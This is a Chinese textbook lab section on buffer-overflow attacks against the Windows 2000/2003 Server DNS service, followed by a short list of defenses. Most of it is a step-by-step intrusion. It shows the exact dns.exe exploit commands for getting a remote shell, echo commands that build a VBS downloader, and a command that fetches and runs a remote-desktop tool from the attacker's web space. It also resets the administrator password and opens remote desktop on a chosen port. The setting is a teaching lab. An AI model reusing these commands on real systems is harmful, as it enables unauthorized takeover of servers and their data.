5.4.2 实例--缓冲区溢出攻击及其防范
5.4.2 实例——缓冲区溢出攻击及其防范
1.实验环境
实验环境如图5.21所示。
入侵者(192.168.85.1):对192.168.85.128进行缓冲区溢出攻击。
被入侵者(192.168.85.128):是开启DNS服务的所有版本的Windows 2000 Server或Windows 2003 Server SP1,在本次测试中使用Windows 2003 Server SP1。
图5.21 实验环境
2.缓冲区溢出攻击过程
第1步:入侵者下载并且执行dns.exe命令。到网上下载dns.exe工具,将其复制到C:\Documents and Settings\ Administrator,在DOS窗口执行dns.exe命令,如图5.22所示。
图5.22 执行dns.exe命令
第2步:寻找漏洞。执行dns.exe -s 192.168.85.128命令,对主机进行扫描,如图5.23所示,显示出被入侵主机(192.168.85.128)开放的端口以及操作系统,最主要的是显示“1047:Vulnerability”,意思就是1047端口存在漏洞。
图5.23 寻找漏洞
第3步:实施溢出。如图5.24所示,执行dns.exe -t 2003chs 192.168.85.128 1047命令。 出现“Attack sent, check port 1100”字样,说明已经打开了目标地址的1100端口。
图5.24 实施溢出
第4步:成功入侵。如图5.25所示,执行telnet 192.168.85.128 1100命令,结果如图
5.26所示,我们现在已经成功的入侵了对方的电脑,并且得到了管理员的权限。
图5.25 执行telnet 192.168.85.128 1100命令
图5.26 成功入侵
第5步:如图5.27所示,在已经成功入侵的电脑上执行简单的操作。
图5.27 简单的操作
第6~11步介绍在被入侵电脑中开3389端口(远程桌面)的方法。
第6步:创建用来下载的VBS脚本tony.vbs。在被入侵电脑的命令行里输入:
C:\>echo with wscript:if .arguments.count^ tony.vbs
C:\>echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> tony.vbs
C:\>echo web.open "get",.arguments(0), 0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> tony.vbs
C:\>echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1), 2:end with >> tony.vbs
上面的命令创建一个用来下载的VBS脚本tony.vbs。
第7步:在入侵者的电脑上上传wrsky.exe。把开3389端口的工具(wrsky.exe,可以到网站下载)上传到自己的个人空间。
第8步:在被入侵电脑上下载wrsky.exe。如图5.28所示,在被入侵电脑的命令行里输入:cscript tony.vbs http://xxx.xxx.xxx/blog/upfile2/[1**********]7.rar c:wrsky.exe命令,其中http://xxx.xxx.xxx/blog/upfile2/[1**********]7.rar为将wrsky.rar上传到个人空间后的URL。这条命令将[1**********]7.rar下载并且重新命名为wrsky.exe。
图5.28 在被入侵电脑上下载wrsky.exe
第9步:在被入侵电脑执行wrsky.exe命令。如图5.29所示,在入侵电脑的命令行执行wrsky.exe命令,获得帮助信息。
第10步:重新设置被入侵电脑的管理员密码。如图5.30所示,在入侵电脑的命令行执行net user administrator 123456命令,对管理员账号重新设置密码为123456,为了下面能够以管理员身份远程桌面登录。
图5.29 执行wrsky.exe命令 图5.30 重设管理员密码
第11步:打开被入侵电脑的远程桌面服务。如图5.31所示,在被入侵电脑的命令行执行wrsky.exe -x 8686命令,打开对方的远程桌面服务,并且使用8686端口,再输入wrsky.exe -r命令。
第12步:远程桌面连接被入侵计算机。在本地计算机,“开始”→“运行”里执行“mstsc”
(MS Terminal Server Client)命令后,如图5.32所示,输入192.168.85.128:8686,单击“连接”按钮,输入管理员账号和密码(Administrator、123456),登录上去,如图5.33所示。
图5.31 执行wrsky.exe -x 8686命令 图5.32 远程桌面连接
图5.33 远程桌面连接被入侵电脑
3.缓冲区溢出攻击的防范措施
(1)关闭不需要的特权程序。
(2)及时给系统和服务程序漏洞打补丁。
(3)强制写正确的代码。
(4)通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。
(5)利用编译器的边界检查来实现缓冲区的保护,这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是代价比较大。
(6)在程序指针失效前进行完整性检查。
(7)改进系统内部安全机制。